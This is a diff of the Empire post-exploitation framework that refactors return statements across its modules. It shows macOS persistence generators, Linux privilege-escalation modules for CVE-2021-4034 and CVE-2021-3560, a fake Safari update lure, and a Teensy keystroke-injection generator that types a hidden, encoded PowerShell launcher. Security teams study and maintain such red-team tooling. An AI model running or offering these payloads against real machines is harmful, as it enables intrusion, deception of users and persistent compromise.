b/empire/server/modules/python/management/osx/shellcodeinject64.py @@ -133,6 +133,4 @@ class remoteThreadState64(ctypes.Structure): run() """ script = script.replace("[SC]", shellcode) - script = script.replace("[PID]", processID) - - return script + return script.replace("[PID]", processID) diff --git a/empire/server/modules/python/persistence/multi/desktopfile.py b/empire/server/modules/python/persistence/multi/desktopfile.py index 5a49dfc12..5d28c6f9d 100644 --- a/empire/server/modules/python/persistence/multi/desktopfile.py +++ b/empire/server/modules/python/persistence/multi/desktopfile.py @@ -25,7 +25,7 @@ def generate( Type=Application NoDisplay=True """ - script = f""" + return f""" import subprocess import sys import os @@ -55,5 +55,3 @@ def generate( print("\\n[+] Empire daemon has been written to {file_name}") """ - - return script diff --git a/empire/server/modules/python/persistence/osx/CreateHijacker.py b/empire/server/modules/python/persistence/osx/CreateHijacker.py index 30540e533..a0706ba4c 100644 --- a/empire/server/modules/python/persistence/osx/CreateHijacker.py +++ b/empire/server/modules/python/persistence/osx/CreateHijacker.py @@ -41,7 +41,7 @@ def generate( dylib = params["LegitimateDylibPath"] vrpath = params["VulnerableRPATH"] - script = f""" + return f""" from ctypes import * def run(attackerDYLIB): @@ -476,5 +476,3 @@ def configure(attackerDYLIB, targetDYLIB): temp.close() run(path) """ - - return script diff --git a/empire/server/modules/python/persistence/osx/LaunchAgent.py b/empire/server/modules/python/persistence/osx/LaunchAgent.py index be51eb3b4..41b8bf74f 100644 --- a/empire/server/modules/python/persistence/osx/LaunchAgent.py +++ b/empire/server/modules/python/persistence/osx/LaunchAgent.py @@ -50,7 +50,7 @@ def generate( """ - script = f""" + return f""" import subprocess import sys import base64 @@ -93,5 +93,3 @@ def generate( print("\\n[+] Empire daemon has been written to "+daemonPath+"{program_name}") """ - - return script diff --git a/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py b/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py index 2695953a3..5ee9c7098 100644 --- a/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py +++ b/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py @@ -44,7 +44,7 @@ def generate( """ - script = f""" + return f""" import subprocess import sys import base64 @@ -74,5 +74,3 @@ def generate( print("\\n[+] Persistence has been installed: /Library/LaunchAgents/{plist_name}") """ - - return script diff --git a/empire/server/modules/python/persistence/osx/loginhook.py b/empire/server/modules/python/persistence/osx/loginhook.py index b0413289b..a9dd3dedd 100644 --- a/empire/server/modules/python/persistence/osx/loginhook.py +++ b/empire/server/modules/python/persistence/osx/loginhook.py @@ -17,7 +17,7 @@ def generate( password = password.replace("$", r"\$") password = password.replace("!", r"\!") password = password.replace("!", r"\!") - script = f""" + return f""" import subprocess import sys try: @@ -55,5 +55,3 @@ def generate( print("[!] Issue with LoginHook script: " + str(e)) """ - - return script diff --git a/empire/server/modules/python/persistence/osx/mail.py b/empire/server/modules/python/persistence/osx/mail.py index 07e7e184b..c3deca68d 100644 --- a/empire/server/modules/python/persistence/osx/mail.py +++ b/empire/server/modules/python/persistence/osx/mail.py @@ -128,7 +128,7 @@ def UUID(): """ ) - script = f""" + return f""" import os home = os.getenv("HOME") AppleScript = '{apple_script}' @@ -186,5 +186,3 @@ def UUID(): os.system("rm " + SyncedRules) os.system("rm " + RulesActiveState) """ - - return script diff --git a/empire/server/modules/python/privesc/multi/CVE-2021-3560.py b/empire/server/modules/python/privesc/multi/CVE-2021-3560.py index 31d3b462f..00eacd122 100644 --- a/empire/server/modules/python/privesc/multi/CVE-2021-3560.py +++ b/empire/server/modules/python/privesc/multi/CVE-2021-3560.py @@ -38,6 +38,4 @@ def generate( return handle_error_message("[!] Error in launcher command generation.") base64_launcher = base64.b64encode(launcher.encode("UTF-8")).decode("UTF-8") - script = script.replace("{{ payload }}", base64_launcher) - - return script + return script.replace("{{ payload }}", base64_launcher) diff --git a/empire/server/modules/python/privesc/multi/CVE-2021-4034.py b/empire/server/modules/python/privesc/multi/CVE-2021-4034.py index ec9f2aaaf..e5ad77d5d 100644 --- a/empire/server/modules/python/privesc/multi/CVE-2021-4034.py +++ b/empire/server/modules/python/privesc/multi/CVE-2021-4034.py @@ -44,6 +44,4 @@ def generate( command = f"msfvenom -p linux/x64/exec CMD='{launcher}' -f elf-so PrependSetuid=true | base64" output = subprocess.check_output(command, shell=True) output = output.replace(b"\n", b"") - script = script.replace("{{ payload }}", output.decode("UTF-8")) - - return script + return script.replace("{{ payload }}", output.decode("UTF-8")) diff --git a/empire/server/modules/python/privesc/multi/bashdoor.py b/empire/server/modules/python/privesc/multi/bashdoor.py index 8ab940a03..decc02c06 100644 --- a/empire/server/modules/python/privesc/multi/bashdoor.py +++ b/empire/server/modules/python/privesc/multi/bashdoor.py @@ -24,7 +24,7 @@ def generate( safeChecks=safeChecks, ) launcher = launcher.replace('"', '\\"') - script = f""" + return f""" import os from random import choice from string import ascii_uppercase @@ -41,5 +41,3 @@ def generate( f.close() os.chmod(bashlocation, 0755) """ - - return script diff --git a/empire/server/modules/python/privesc/multi/sudo_spawn.py b/empire/server/modules/python/privesc/multi/sudo_spawn.py index c28eacb88..3328fdd31 100644 --- a/empire/server/modules/python/privesc/multi/sudo_spawn.py +++ b/empire/server/modules/python/privesc/multi/sudo_spawn.py @@ -34,6 +34,4 @@ def generate( launcher = launcher.replace("echo", "") parts = launcher.split("|") launcher = f"python3 -c {parts[0]}" - script = f'import subprocess; subprocess.Popen("echo \\"{password}\\" | sudo -S {launcher}", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)' - - return script + return f'import subprocess; subprocess.Popen("echo \\"{password}\\" | sudo -S {launcher}", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)' diff --git a/empire/server/modules/python/privesc/osx/dyld_print_to_file.py b/empire/server/modules/python/privesc/osx/dyld_print_to_file.py index 7645db5c8..ddd2cccf6 100644 --- a/empire/server/modules/python/privesc/osx/dyld_print_to_file.py +++ b/empire/server/modules/python/privesc/osx/dyld_print_to_file.py @@ -36,7 +36,7 @@ def generate( launcher = launcher.replace('"', '\\"') fullPath = params["WriteablePath"] + params["FileName"] fileName = params["FileName"] - script = f""" + return f""" import os print("Writing Stager to {fileName}...") file = open("{fullPath}","w") @@ -50,5 +50,3 @@ def generate( print("[!] Could not execute payload!") """ - - return script diff --git a/empire/server/modules/python/privesc/osx/piggyback.py b/empire/server/modules/python/privesc/osx/piggyback.py index eb0d0368d..4d919f740 100644 --- a/empire/server/modules/python/privesc/osx/piggyback.py +++ b/empire/server/modules/python/privesc/osx/piggyback.py @@ -32,7 +32,7 @@ def generate( launcher = launcher.replace("echo", "") parts = launcher.split("|") launcher = f"sudo python -c {parts[0]}" - script = f""" + return f""" import os import time import subprocess @@ -49,5 +49,3 @@ def generate( except: pass """ - - return script diff --git a/empire/server/modules/python_jobs_template.py b/empire/server/modules/python_jobs_template.py index df00d4dc6..c7bf41803 100644 --- a/empire/server/modules/python_jobs_template.py +++ b/empire/server/modules/python_jobs_template.py @@ -46,7 +46,7 @@ def __init__(self, mainMenu): self.mainMenu = mainMenu def generate(self): - script = """ + return """ x = 0 while True: import time @@ -58,5 +58,3 @@ def generate(self): except Exception as e: print(e) """ - - return script diff --git a/empire/server/plugins/basic_reporting/basic_reporting.py b/empire/server/plugins/basic_reporting/basic_reporting.py index 9395a05f1..b77073ce5 100644 --- a/empire/server/plugins/basic_reporting/basic_reporting.py +++ b/empire/server/plugins/basic_reporting/basic_reporting.py @@ -92,12 +92,10 @@ def session_report(self, db, user): ) output_str = out.getvalue() - db_download = self.main_menu.downloadsv2.create_download_from_text( + return self.main_menu.downloadsv2.create_download_from_text( db, user, output_str, "sessions.csv", "basic_reporting" ) - return db_download - def credential_report(self, db, user): out = io.StringIO() writer = csv.writer(out) @@ -108,12 +106,10 @@ def credential_report(self, db, user): ) output_str = out.getvalue() - db_download = self.main_menu.downloadsv2.create_download_from_text( + return self.main_menu.downloadsv2.create_download_from_text( db, user, output_str, "credentials.csv", "basic_reporting" ) - return db_download - def generate_report(self, db, user): out = io.StringIO() out.write("Empire Master Taskings & Results Log by timestamp\n") @@ -127,12 +123,10 @@ def generate_report(self, db, user): ) output_str = out.getvalue() - db_download = self.main_menu.downloadsv2.create_download_from_text( + return self.main_menu.downloadsv2.create_download_from_text( db, user, output_str, "master.log", "basic_reporting" ) - return db_download - def shutdown(self): """ Kills additional processes that were spawned diff --git a/empire/server/plugins/csharpserver/csharpserver.py b/empire/server/plugins/csharpserver/csharpserver.py index dfe648e80..109c3a03a 100644 --- a/empire/server/plugins/csharpserver/csharpserver.py +++ b/empire/server/plugins/csharpserver/csharpserver.py @@ -87,10 +87,9 @@ def toggle_csharpserver(self, command): self.shutdown() self.status = "OFF" return "[*] Stopping Empire C# server" - else: - return "[!] Empire C# server is already stopped" + return "[!] Empire C# server is already stopped" - elif self.start == "start": + if self.start == "start": if self.status == "OFF": server_dll = ( self.installPath @@ -119,8 +118,8 @@ def toggle_csharpserver(self, command): self.status = "ON" return "[*] Starting Empire C# server" - else: - return "[!] Empire C# server is already started" + return "[!] Empire C# server is already started" + return None def thread_csharp_responses(self): task_input = "Collecting Empire C# server output stream..." diff --git a/empire/server/plugins/example/example.py b/empire/server/plugins/example/example.py index a8e5faebf..51729744e 100644 --- a/empire/server/plugins/example/example.py +++ b/empire/server/plugins/example/example.py @@ -74,8 +74,7 @@ def execute(self, command): Parses commands from the API """ try: - results = self.do_test(command) - return results + return self.do_test(command) except Exception: return False diff --git a/empire/server/plugins/reverseshell_stager_server/reverseshell_stager_server.py b/empire/server/plugins/reverseshell_stager_server/reverseshell_stager_server.py index 67cad05d0..a6d4f88e3 100644 --- a/empire/server/plugins/reverseshell_stager_server/reverseshell_stager_server.py +++ b/empire/server/plugins/reverseshell_stager_server/reverseshell_stager_server.py @@ -122,8 +122,7 @@ def execute(self, command): try: self.reverseshell_proc = None self.status = command["Status"] - results = self.do_server(command) - return results + return self.do_server(command) except Exception as e: log.error(e) return False, f"[!] {e}" @@ -140,7 +139,7 @@ def register(self, mainMenu): self.main_menu = mainMenu self.plugin_service: PluginService = mainMenu.pluginsv2 - def do_server(self, command): + def do_server(self, command): # noqa: PLR0911 """ Check if the Empire C# server is already running. """ @@ -152,17 +151,15 @@ def do_server(self, command): if self.status == "status": if self.enabled: return "[+] Reverseshell server is currently running" - else: - return "[!] Reverseshell server is currently stopped" + return "[!] Reverseshell server is currently stopped" - elif self.status == "stop": + if self.status == "stop": if self.enabled: self.shutdown() return "[!] Stopped reverseshell server" - else: - return "[!] Reverseshell server is already stopped" + return "[!] Reverseshell server is already stopped" - elif self.status == "start": + if self.status == "start": # extract all of our options language = command["Language"] listener_name = command["Listener"] @@ -208,6 +205,8 @@ def do_server(self, command): ) self.reverseshell_proc.daemon = True self.reverseshell_proc.start() + return None + return None def shutdown(self): with contextlib.suppress(Exception): diff --git a/empire/server/plugins/websockify_server/websockify_server.py b/empire/server/plugins/websockify_server/websockify_server.py index 5b5c84f34..a9d18506b 100644 --- a/empire/server/plugins/websockify_server/websockify_server.py +++ b/empire/server/plugins/websockify_server/websockify_server.py @@ -68,8 +68,7 @@ def execute(self, command): self.websockify_proc = None # essentially switches to parse the proper command to execute self.status = command["Status"] - results = self.do_websockify(command) - return results + return self.do_websockify(command) except Exception as e: log.error(e) return False, f"[!] {e}" @@ -98,17 +97,15 @@ def do_websockify(self, command): if self.status == "status": if self.enabled: return "[+] Websockify server is currently running" - else: - return "[!] Websockify server is currently stopped" + return "[!] Websockify server is currently stopped" - elif self.status == "stop": + if self.status == "stop": if self.enabled: self.shutdown() return "[!] Stopped Websockify server" - else: - return "[!] Websockify server is already stopped" + return "[!] Websockify server is already stopped" - elif self.status == "start": + if self.status == "start": source_host = command["SourceHost"] source_port = int(command["SourcePort"]) target_host = command["TargetHost"] @@ -125,6 +122,7 @@ def do_websockify(self, command): self.websockify_proc.daemon = True self.websockify_proc.start() return "[+] Websockify server successfully started" + return None def shutdown(self): with contextlib.suppress(Exception): diff --git a/empire/server/stagers/multi/macro.py b/empire/server/stagers/multi/macro.py index cc73d77d9..669e66f93 100755 --- a/empire/server/stagers/multi/macro.py +++ b/empire/server/stagers/multi/macro.py @@ -128,8 +128,7 @@ def formStr(varstr, instr): ) str2 = '"\r\n'.join(holder) str2 = str2 + '"' - str1 = str1 + "\r\n" + str2 - return str1 + return str1 + "\r\n" + str2 # extract all of our options language = self.options["Language"]["Value"] @@ -194,7 +193,7 @@ def formStr(varstr, instr): poshpayload += '\n\t\tstr = str + "' + str(poshchunk) # if statements below are for loading Mac dylibs for compatibility - macro = f"""#If Mac Then + return f"""#If Mac Then #If VBA7 Then Private Declare PtrSafe Function system Lib "libc.dylib" (ByVal command As String) As Long #Else @@ -249,5 +248,3 @@ def formStr(varstr, instr): objProcess.Create str, Null, objConfig, intProcessID #End If End Function""" - - return macro diff --git a/empire/server/stagers/multi/pyinstaller.py b/empire/server/stagers/multi/pyinstaller.py index a8e9452e1..e8435ab65 100644 --- a/empire/server/stagers/multi/pyinstaller.py +++ b/empire/server/stagers/multi/pyinstaller.py @@ -171,6 +171,4 @@ def generate(self): ) with open(binary_file_str, "rb") as f: - exe = f.read() - - return exe + return f.read() diff --git a/empire/server/stagers/osx/applescript.py b/empire/server/stagers/osx/applescript.py index acc024649..6e141005e 100644 --- a/empire/server/stagers/osx/applescript.py +++ b/empire/server/stagers/osx/applescript.py @@ -79,5 +79,4 @@ def generate(self): else: launcher = launcher.replace('"', '\\"') - applescript = f'do shell script "{launcher}"' - return applescript + return f'do shell script "{launcher}"' diff --git a/empire/server/stagers/osx/application.py b/empire/server/stagers/osx/application.py index b722f9e41..0a276d7ad 100644 --- a/empire/server/stagers/osx/application.py +++ b/empire/server/stagers/osx/application.py @@ -103,11 +103,10 @@ def generate(self): launcher = removeprefix(launcher, "echo ") launcher = removesuffix(launcher, " | python3 &") launcher = launcher.strip('"') - application_zip = self.mainMenu.stagers.generate_appbundle( + return self.mainMenu.stagers.generate_appbundle( launcherCode=launcher, Arch=arch, icon=icns_path, AppName=app_name, disarm=disarm, ) - return application_zip diff --git a/empire/server/stagers/osx/dylib.py b/empire/server/stagers/osx/dylib.py index 50fa8110b..a4db83755 100644 --- a/empire/server/stagers/osx/dylib.py +++ b/empire/server/stagers/osx/dylib.py @@ -97,7 +97,6 @@ def generate(self): launcher = removeprefix(launcher, "echo ") launcher = removesuffix(launcher, " | python3 &") launcher = launcher.strip('"') - dylib = self.mainMenu.stagers.generate_dylib( + return self.mainMenu.stagers.generate_dylib( launcherCode=launcher, arch=arch, hijacker=hijacker ) - return dylib diff --git a/empire/server/stagers/osx/jar.py b/empire/server/stagers/osx/jar.py index 9d98f05b9..d26089faf 100644 --- a/empire/server/stagers/osx/jar.py +++ b/empire/server/stagers/osx/jar.py @@ -75,5 +75,4 @@ def generate(self): return "" else: launcher = launcher.replace('"', '\\"') - jar_bytes = self.mainMenu.stagers.generate_jar(launcherCode=launcher) - return jar_bytes + return self.mainMenu.stagers.generate_jar(launcherCode=launcher) diff --git a/empire/server/stagers/osx/macho.py b/empire/server/stagers/osx/macho.py index 5904c94c7..999eef2a5 100644 --- a/empire/server/stagers/osx/macho.py +++ b/empire/server/stagers/osx/macho.py @@ -79,5 +79,4 @@ def generate(self): else: # launcher = launcher.strip('echo') - macho = self.mainMenu.stagers.generate_macho(launcher) - return macho + return self.mainMenu.stagers.generate_macho(launcher) diff --git a/empire/server/stagers/osx/macro.py b/empire/server/stagers/osx/macro.py index 82d084995..862ec2686 100644 --- a/empire/server/stagers/osx/macro.py +++ b/empire/server/stagers/osx/macro.py @@ -93,8 +93,7 @@ def formStr(varstr, instr): ) str2 = '"\r\n'.join(holder) str2 = str2 + '"' - str1 = str1 + "\r\n" + str2 - return str1 + return str1 + "\r\n" + str2 # extract all of our options listener_name = self.options["Listener"]["Value"] diff --git a/empire/server/stagers/osx/pkg.py b/empire/server/stagers/osx/pkg.py index 05ff5d5ec..3dc1a9488 100644 --- a/empire/server/stagers/osx/pkg.py +++ b/empire/server/stagers/osx/pkg.py @@ -103,7 +103,6 @@ def generate(self): AppName=app_name, disarm=disarm, ) - pkginstaller = self.mainMenu.stagers.generate_pkg( + return self.mainMenu.stagers.generate_pkg( launcher=launcher, bundleZip=application_zip, AppName=app_name ) - return pkginstaller diff --git a/empire/server/stagers/osx/safari_launcher.py b/empire/server/stagers/osx/safari_launcher.py index bfaa04087..26ca1a918 100644 --- a/empire/server/stagers/osx/safari_launcher.py +++ b/empire/server/stagers/osx/safari_launcher.py @@ -89,7 +89,7 @@ def generate(self): launcher = launcher.replace("'", "\\'") launcher = launcher.replace('"', '\\\\"') - html = f""" + return f"""

Safari requires an update. Press cmd-R to refresh. Make sure to press the play button on the script box to begin the update

""" - return html diff --git a/empire/server/stagers/windows/backdoorLnkMacro.py b/empire/server/stagers/windows/backdoorLnkMacro.py index 10088ee88..fbedc2891 100755 --- a/empire/server/stagers/windows/backdoorLnkMacro.py +++ b/empire/server/stagers/windows/backdoorLnkMacro.py @@ -155,8 +155,7 @@ def coordsToCell(row, col): coords = coords + chr(((col + 1) % 26) + 64) else: coords = coords + "Z" - coords = coords + str(row + 1) - return coords + return coords + str(row + 1) def generate(self): # default booleans to false diff --git a/empire/server/stagers/windows/cmd_exec.py b/empire/server/stagers/windows/cmd_exec.py index 343ac94b1..b95281b1a 100644 --- a/empire/server/stagers/windows/cmd_exec.py +++ b/empire/server/stagers/windows/cmd_exec.py @@ -159,9 +159,7 @@ def generate(self): print(helpers.color("[!] Error in launcher command generation.")) return "" - shell = self.generate_shellcode(msf_format, arch, self.launcher) - - return shell + return self.generate_shellcode(msf_format, arch, self.launcher) def generate_shellcode(self, msf_format, arch, launcher): print(f"[*] Generating Shellcode {arch}") diff --git a/empire/server/stagers/windows/csharp_exe.py b/empire/server/stagers/windows/csharp_exe.py index 66ecc22af..d54cf7328 100755 --- a/empire/server/stagers/windows/csharp_exe.py +++ b/empire/server/stagers/windows/csharp_exe.py @@ -150,22 +150,19 @@ def generate(self): launcher, dot_net_version=dot_net_version, obfuscate=obfuscate_script ) with open(directory, "rb") as f: - code = f.read() - return code + return f.read() elif language.lower() == "csharp": directory = f"{self.mainMenu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{launcher}.exe" with open(directory, "rb") as f: - code = f.read() - return code + return f.read() elif language.lower() == "ironpython": directory = self.mainMenu.stagers.generate_python_exe( launcher, dot_net_version=dot_net_version, obfuscate=obfuscate_script ) with open(directory, "rb") as f: - code = f.read() - return code + return f.read() else: return "[!] Invalid launcher language." diff --git a/empire/server/stagers/windows/dll.py b/empire/server/stagers/windows/dll.py index 44a21a895..c7a2afd40 100644 --- a/empire/server/stagers/windows/dll.py +++ b/empire/server/stagers/windows/dll.py @@ -157,5 +157,4 @@ def generate(self): return "" else: launcher_code = launcher.split(" ")[-1] - dll = self.mainMenu.stagers.generate_dll(launcher_code, arch) - return dll + return self.mainMenu.stagers.generate_dll(launcher_code, arch) diff --git a/empire/server/stagers/windows/nim.py b/empire/server/stagers/windows/nim.py index c46b775e6..07593017f 100644 --- a/empire/server/stagers/windows/nim.py +++ b/empire/server/stagers/windows/nim.py @@ -163,8 +163,7 @@ def generate(self): try: with open(directory, "rb") as f: - code = f.read() - return code + return f.read() except OSError: log.error("Could not read file at " + str(directory)) return "" diff --git a/empire/server/stagers/windows/reverseshell.py b/empire/server/stagers/windows/reverseshell.py index d367fce2d..1574b8605 100644 --- a/empire/server/stagers/windows/reverseshell.py +++ b/empire/server/stagers/windows/reverseshell.py @@ -62,9 +62,7 @@ def generate(self): lhost = self.options["LocalHost"]["Value"] lport = self.options["LocalPort"]["Value"] msf_format = self.options["MSF_Format"]["Value"] - shell = self.generate_shellcode(lhost, lport, msf_format, arch) - - return shell + return self.generate_shellcode(lhost, lport, msf_format, arch) def generate_shellcode(self, lhost, lport, msf_format, arch): log.info( diff --git a/empire/server/stagers/windows/shellcode.py b/empire/server/stagers/windows/shellcode.py index 5683e204e..26ccf7cba 100644 --- a/empire/server/stagers/windows/shellcode.py +++ b/empire/server/stagers/windows/shellcode.py @@ -122,10 +122,9 @@ def generate(self): # not a valid listener, return nothing for the script return "[!] Invalid listener: " + listener_name - else: - obfuscate_script = False - if obfuscate.lower() == "true": - obfuscate_script = True + obfuscate_script = False + if obfuscate.lower() == "true": + obfuscate_script = True # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher( @@ -142,7 +141,7 @@ def generate(self): ) if launcher == "": return "[!] Error in launcher generation." - elif not launcher or launcher.lower() == "failed": + if not launcher or launcher.lower() == "failed": return "[!] Error in launcher command generation." if language.lower() == "powershell": @@ -154,7 +153,7 @@ def generate(self): return shellcode - elif language.lower() == "csharp": + if language.lower() == "csharp": if arch == "x86": arch_type = 1 elif arch == "x64": @@ -168,10 +167,9 @@ def generate(self): ) directory = f"{self.mainMenu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{launcher}.exe" - shellcode = donut.create(file=directory, arch=arch_type) - return shellcode + return donut.create(file=directory, arch=arch_type) - elif language.lower() == "python": + if language.lower() == "python": shellcode, err = self.mainMenu.stagers.generate_python_shellcode( launcher, arch=arch, dot_net_version=dot_net_version ) @@ -180,5 +178,4 @@ def generate(self): return shellcode - else: - return "[!] Invalid launcher language." + return "[!] Invalid launcher language." diff --git a/empire/server/stagers/windows/teensy.py b/empire/server/stagers/windows/teensy.py index 2ed706488..4d84d095b 100644 --- a/empire/server/stagers/windows/teensy.py +++ b/empire/server/stagers/windows/teensy.py @@ -128,91 +128,91 @@ def generate(self): if launcher == "": log.error("[!] Error in launcher command generation.") return "" - else: - enc = launcher.split(" ")[-1] - send_enc = 'Keyboard.print("' - send_enc += enc - send_enc += '");\n' - teensy_code = "unsigned int lock_check_wait = 1000;\n" - teensy_code += "int ledKeys(void) {return int(keyboard_leds);}\n" - teensy_code += "boolean isLockOn(void) {\n" - teensy_code += " return ((ledKeys() & 2) == 2) ? true : false;\n" - teensy_code += "}\n\n" - teensy_code += "void clearKeys (){\n" - teensy_code += " delay(200);\n" - teensy_code += " Keyboard.set_key1(0);\n" - teensy_code += " Keyboard.set_key2(0);\n" - teensy_code += " Keyboard.set_key3(0);\n" - teensy_code += " Keyboard.set_key4(0);\n" - teensy_code += " Keyboard.set_key5(0);\n" - teensy_code += " Keyboard.set_key6(0);\n" - teensy_code += " Keyboard.set_modifier(0);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += "}\n\n" - teensy_code += "void toggleLock(void) {\n" - teensy_code += " Keyboard.set_key1(KEY_CAPS_LOCK);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += " clearKeys();\n" - teensy_code += "}\n\n" - teensy_code += "void wait_for_drivers(void) {\n" - teensy_code += " boolean numLockTrap = isLockOn();\n" - teensy_code += " while(numLockTrap == isLockOn()) {\n" - teensy_code += " toggleLock();\n" - teensy_code += " delay(lock_check_wait);\n" - teensy_code += " }\n" - teensy_code += " toggleLock();\n" - teensy_code += " delay(lock_check_wait);\n" - teensy_code += "}\n\n" - teensy_code += "void win_minWindows(void) {\n" - teensy_code += " delay(300);\n" - teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" - teensy_code += " Keyboard.set_key1(KEY_M);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += " clearKeys();\n" - teensy_code += "}\n\n" - teensy_code += "void win_restoreWindows(void) {\n" - teensy_code += " delay(300);\n" - teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI | MODIFIERKEY_SHIFT);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += " Keyboard.set_key1(KEY_M);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += " clearKeys();\n" - teensy_code += "}\n\n" - teensy_code += "void win_run(void) {\n" - teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" - teensy_code += " Keyboard.set_key1(KEY_R);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += " clearKeys();\n" - teensy_code += "}\n\n" - teensy_code += "void win_openCmd(void) {\n" - teensy_code += " delay(300);\n" - teensy_code += " win_run();\n" - teensy_code += ' Keyboard.print("cmd.exe");\n' - teensy_code += " Keyboard.set_key1(KEY_ENTER);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += " clearKeys();\n" - teensy_code += "}\n\n" - teensy_code += "void empire(void) {\n" - teensy_code += " wait_for_drivers();\n" - teensy_code += " win_minWindows();\n" - teensy_code += " delay(1000);\n" - teensy_code += " win_openCmd();\n" - teensy_code += " delay(1000);\n" - teensy_code += ( - ' Keyboard.print("powershell -W Hidden -nop -noni -enc ");\n' - ) - teensy_code += " " - teensy_code += send_enc - teensy_code += " Keyboard.set_key1(KEY_ENTER);\n" - teensy_code += " Keyboard.send_now();\n" - teensy_code += " clearKeys();\n" - teensy_code += " win_restoreWindows();\n" - teensy_code += "}\n\n" - teensy_code += "void setup(void) {\n" - teensy_code += " empire();\n" - teensy_code += "}\n\n" - teensy_code += "void loop() {}" - return teensy_code + enc = launcher.split(" ")[-1] + send_enc = 'Keyboard.print("' + send_enc += enc + send_enc += '");\n' + teensy_code = "unsigned int lock_check_wait = 1000;\n" + teensy_code += "int ledKeys(void) {return int(keyboard_leds);}\n" + teensy_code += "boolean isLockOn(void) {\n" + teensy_code += " return ((ledKeys() & 2) == 2) ? true : false;\n" + teensy_code += "}\n\n" + teensy_code += "void clearKeys (){\n" + teensy_code += " delay(200);\n" + teensy_code += " Keyboard.set_key1(0);\n" + teensy_code += " Keyboard.set_key2(0);\n" + teensy_code += " Keyboard.set_key3(0);\n" + teensy_code += " Keyboard.set_key4(0);\n" + teensy_code += " Keyboard.set_key5(0);\n" + teensy_code += " Keyboard.set_key6(0);\n" + teensy_code += " Keyboard.set_modifier(0);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += "}\n\n" + teensy_code += "void toggleLock(void) {\n" + teensy_code += " Keyboard.set_key1(KEY_CAPS_LOCK);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += "}\n\n" + teensy_code += "void wait_for_drivers(void) {\n" + teensy_code += " boolean numLockTrap = isLockOn();\n" + teensy_code += " while(numLockTrap == isLockOn()) {\n" + teensy_code += " toggleLock();\n" + teensy_code += " delay(lock_check_wait);\n" + teensy_code += " }\n" + teensy_code += " toggleLock();\n" + teensy_code += " delay(lock_check_wait);\n" + teensy_code += "}\n\n" + teensy_code += "void win_minWindows(void) {\n" + teensy_code += " delay(300);\n" + teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" + teensy_code += " Keyboard.set_key1(KEY_M);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += "}\n\n" + teensy_code += "void win_restoreWindows(void) {\n" + teensy_code += " delay(300);\n" + teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += ( + " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI | MODIFIERKEY_SHIFT);\n" + ) + teensy_code += " Keyboard.send_now();\n" + teensy_code += " Keyboard.set_key1(KEY_M);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += "}\n\n" + teensy_code += "void win_run(void) {\n" + teensy_code += " Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);\n" + teensy_code += " Keyboard.set_key1(KEY_R);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += "}\n\n" + teensy_code += "void win_openCmd(void) {\n" + teensy_code += " delay(300);\n" + teensy_code += " win_run();\n" + teensy_code += ' Keyboard.print("cmd.exe");\n' + teensy_code += " Keyboard.set_key1(KEY_ENTER);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += "}\n\n" + teensy_code += "void empire(void) {\n" + teensy_code += " wait_for_drivers();\n" + teensy_code += " win_minWindows();\n" + teensy_code += " delay(1000);\n" + teensy_code += " win_openCmd();\n" + teensy_code += " delay(1000);\n" + teensy_code += ' Keyboard.print("powershell -W Hidden -nop -noni -enc ");\n' + teensy_code += " " + teensy_code += send_enc + teensy_code += " Keyboard.set_key1(KEY_ENTER);\n" + teensy_code += " Keyboard.send_now();\n" + teensy_code += " clearKeys();\n" + teensy_code += " win_restoreWindows();\n" + teensy_code += "}\n\n" + teensy_code += "void setup(void) {\n" + teensy_code += " empire();\n" + teensy_code += "}\n\n" + teensy_code += "void loop() {}" + + return teensy_code diff --git a/empire/server/stagers/windows/wmic.py b/empire/server/stagers/windows/wmic.py index 48aa23672..e21724e0f 100644 --- a/empire/server/stagers/windows/wmic.py +++ b/empire/server/stagers/windows/wmic.py @@ -147,13 +147,13 @@ def generate(self): if launcher == "": log.error("[!] Error in launcher command generation.") return "" - else: - code = ' bool: diff --git a/empire/server/utils/datetime_util.py b/empire/server/utils/datetime_util.py index 225c853ca..d35098fcf 100644 --- a/empire/server/utils/datetime_util.py +++ b/empire/server/utils/datetime_util.py @@ -7,8 +7,7 @@ def is_stale(lastseen: datetime, delay: int, jitter: float): """ interval_max = (delay + delay * jitter) + 30 diff = getutcnow() - lastseen - stale = diff.total_seconds() > interval_max - return stale + return diff.total_seconds() > interval_max def getutcnow(): diff --git a/empire/server/utils/listener_util.py b/empire/server/utils/listener_util.py index 653f7525a..36ae1bc4a 100644 --- a/empire/server/utils/listener_util.py 